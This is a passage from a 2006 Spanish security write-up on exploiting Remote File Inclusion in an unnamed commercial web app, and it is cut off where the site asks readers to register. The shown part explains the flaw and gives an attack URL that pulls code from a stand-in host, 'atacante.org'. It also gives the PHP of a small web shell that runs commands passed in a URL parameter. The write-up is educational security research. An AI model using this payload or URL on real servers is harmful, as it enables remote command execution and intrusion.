Remote_inclucion_aplicacion_comercial

Páginas: 7 (1655 palabras) Publicado: 15 de octubre de 2015
Explotando un RFI en una WebApp Comercial
A. Alejandro Hernández (nitr0us)
nitrousenador@gmail.com
Safer Operations Consulting ­ www.saferops.com.mx
RTM Security Research Group ­ www.zonartm.org
Noviembre 23, 2006
México

TABLA DE CONTENIDOS

1   Introducción
2   Conceptos básicos
3   Detección y Explotación del fallo
  3.1   Detección
  3.2   Explotación      3.2.1   Vector de ataque 1: Remote File Inclusion
      3.2.2   Vector de ataque 2: Cross Site Scripting
4   Correción del fallo
5   Conclusión
6   Referencias

1   Introducción
En   el   presente   documento   se   expondrá   un   claro   ejemplo   de   una   aplicación   Web 
comercial vulnerable a tan conocido fallo llamado RFI (Remote File Inclusion), aunque un poco más difícil de explotar debido a ciertas circunstancias. Esta aplicación Web se basa en una 
suite de módulos para administrar diferentes cosas como: Sistema, Red, Firewall, VPN, VNC, 
Antivirus,   etc...   Por   ciertos   motivos   no   puedo   decir   el   nombre   de   la   aplicación,   así   que 
solamente serán expuestas las capturas de pantalla editadas. El fallo fué descubierto en el testeo de una versión Beta, así que el Release final será inmune a la vulnerabilidad aquí expuesta.
Aclaro que este no es un tutorial más de como explotar RFI, sino que la demostración  de 
la explotación de cierta vulnerabilidad en una aplicación real aplicando un método con un 
pequeño grado más de complejidad que una explotación normal.

2   Conceptos básicos
Para comprender la explotación es necesario tener conocimientos básicos de tan famosa técnica RFI, así que si ya tienes estos conocimientos puedes pasar directamente a la sección 3. 
Aquí  solamente  será   descrita   la   parte   básica,  por   lo   tanto   queda  fuera  del  alcance   de   este 
documento información mas detallada de dicha técnica, para ello puede visitar [1] y [2].
RFI, siglas en inglés de Remote File Inclusion, es una técnica en la que un atacante aprovecha un fallo de programación, es decir, que el programador de la aplicación no sanitiza la entrada 
de datos del usuario antes de ser pasada a una función como  include()  o require(). Entonces, 
veamos con un claro ejemplo lo que la función include() hace según el manual del programador 
de PHP:

Figura 1.­ Ejemplo de la función include().

Como se puede apreciar, esta función incluye código de otro archivo para poder ser utilizado en el programa que la invoca. La inclusión puede ser de archivos locales o remotos por medio del 
protocolo HTTP.
Para  comprender  la  explotación  de  este fallo  veamos dos  posibles  escenarios,  el  del 
Usuario Final y del Atacante.
Usuario Final:
● En el código fuente se tiene algo como: include($_GET['page']);
● El usuario visita http://www.corp.com/index.php?page=productos.php
●La página incrustada en index.php es productos.php sin ningún problema
Atacante:
● En el código fuente se tiene algo como: include($_GET['page']);
● El atacante visita
http://www.corp.com/index.php?page=http://atacante.org/exec.gif?cmd=ls
● La página incrustada en index.php es la salida del comando ls de UNIX.
El contenido de exec.gif es:
exec($_GET['cmd'],$salida);
foreach($salida as $line) { echo "$line
"; }
?>

La   explicación   a   esto  es   que,   la   función  include()  incluye   el   código   que   hay   en 
http://atacante.org/exec.gif  y a la vez le pasamos como parámetro el comando que queremos 
ejecutar (?cmd=ls). Con esto logramos que el servidor incluya dicho script, ejecute exec() con 
el comando ls como parámetro y nos envie la salida a la página que invoca el include(), en este 
caso index.php.3   Detección y Explótacion del fallo 
En los siguientes apartados se explicará a detalle la detección y los diferentes vectores de 
explotación de la vulnerabilidad. Cabe mencionar que el fallo RFI encontrado aquí no es el 
común   y   corriente   (explicado   en   conceptos   básicos),   sino   que   se   tuvieron   que   hacer   unas ...
Leer documento completo

Regístrate para leer el documento completo.

Conviértase en miembro formal de Buenas Tareas

INSCRÍBETE - ES GRATIS